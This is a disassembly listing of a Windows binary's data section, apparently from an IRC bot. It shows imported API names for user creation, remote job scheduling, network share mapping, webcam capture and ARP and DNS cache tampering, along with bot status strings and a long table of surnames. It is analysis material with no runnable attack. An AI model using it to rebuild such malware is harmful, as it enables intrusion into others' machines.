aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_40B0C5+AE7o
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_40B0C5+AFAo
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_40B0C5+B0Do
		align 10h
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_40B0C5+B20o
		align 4
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_40B0C5+B33o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_40B0C5+B46o
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_40B0C5+BCEo
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_40B0C5:loc_40BCD1o
		align 4
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_40B0C5+C20o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_40B0C5+C33o
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_40B0C5+C46o
		align 4
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_40B0C5:loc_40BD5Ao
		align 4
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_40B0C5+CADo
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_40B0C5+CC0o
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_40B0C5+CD3o
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_40B0C5+CE6o
unk_444C4E	db    0			; DATA XREF: .XComp0:0045308Co
		db    0
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_40B0C5+CF9o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_40B0C5+D0Co
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_40B0C5+D1Fo
		align 10h
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_40B0C5+D32o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_40B0C5+D45o
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_40B0C5+D58o
		align 4
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_40B0C5+D6Bo
		align 10h
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_40B0C5+D7Eo
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_40B0C5:loc_40BEDAo
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_40B0C5+E29o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_40B0C5+E3Co
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_40B0C5:loc_40BF47o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_40B0C5+E96o
		align 4
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_40B0C5+EA9o
		align 4
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_40B0C5:loc_40BFB4o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_40B0C5+F03o
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_40B0C5+F16o
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_40B0C5+F29o
		align 10h
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_40B0C5+F3Co
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_40B0C5:loc_40C059o
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_40B0C5+FA8o
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_40B0C5+FBBo
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_40B0C5:loc_40C0C6o
		align 10h
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_40B0C5+1019o
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_40B0C5+102Co
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_40B0C5+103Fo
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_40B0C5+1052o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_40B0C5+1065o
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_40B0C5+1078o
		align 4
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_40B0C5:loc_40C1A7o
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_40B0C5+10F6o
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_40B0C5+1109o
		align 4
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40C219+18o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40C219+55o
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40C219+92o
		align 4
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40C219+CFo
		align 10h
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40C219+10Co
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40C219+149o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40C219+186o
		align 4
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40C219+1C3o
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40C219+200o
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40C219+23Do
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40C219+27Ao
		align 4
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40C219+2B7o
		align 10h
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40C219+2F4o
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40C219+331o
		align 4
unk_444FF4	db  2Dh	; -		; DATA XREF: sub_40C219:loc_40C578o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 4
a__3:					; DATA XREF: .XComp0:0040C5F2o
		unicode	0, <.>,0
a__4:					; DATA XREF: .XComp0:0040C617o
		unicode	0, <.>,0
unk_44501C	db  2Dh	; -		; DATA XREF: sub_40C6CF+B7o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
unk_445048	db  2Dh	; -		; DATA XREF: sub_40C6CF:loc_40C7A0o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 4
unk_445078	db  2Dh	; -		; DATA XREF: sub_40C6CF:loc_40C7B9o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 4
unk_44509C	db  2Dh	; -		; DATA XREF: sub_40C6CF:loc_40C7D2o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 4
unk_4450CC	db  2Dh	; -		; DATA XREF: sub_40C6CF+11Fo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGetting_0	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40C86E+42o
		align 8
aReal		db 'real',0             ; DATA XREF: sub_40CE78+25o
		align 10h
		dd 0
dword_445114	dd 0		off_445118	dd offset sub_40C9C0	; DATA XREF: sub_40CE78+65r
aConst		db 'const',0
		align 8
		dd 1, 40CA38h, 7474656Ch, 7265h, 0
		dd 2, 40CAA0h, 706D6F63h, 2 dup(0)
		dd 3, 40CB01h, 6E756F63h, 797274h, 0
		dd 4, 40CBEFh, 736Fh, 2	dup(0)
		dd 5, 40CC6Bh
off_445180	dd offset aAbdulrazak	; DATA XREF: sub_40C9C0+1Fr
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
		dd offset aAddison	; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
off_445344	dd offset aBloch	; DATA XREF: .XComp0:00452EC8o
					; .XComp0:00453284o
					; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer_0	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton_0	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
off_445750	dd offset aFranz	; DATA XREF: .XComp0:0044B708o
					; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood		; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
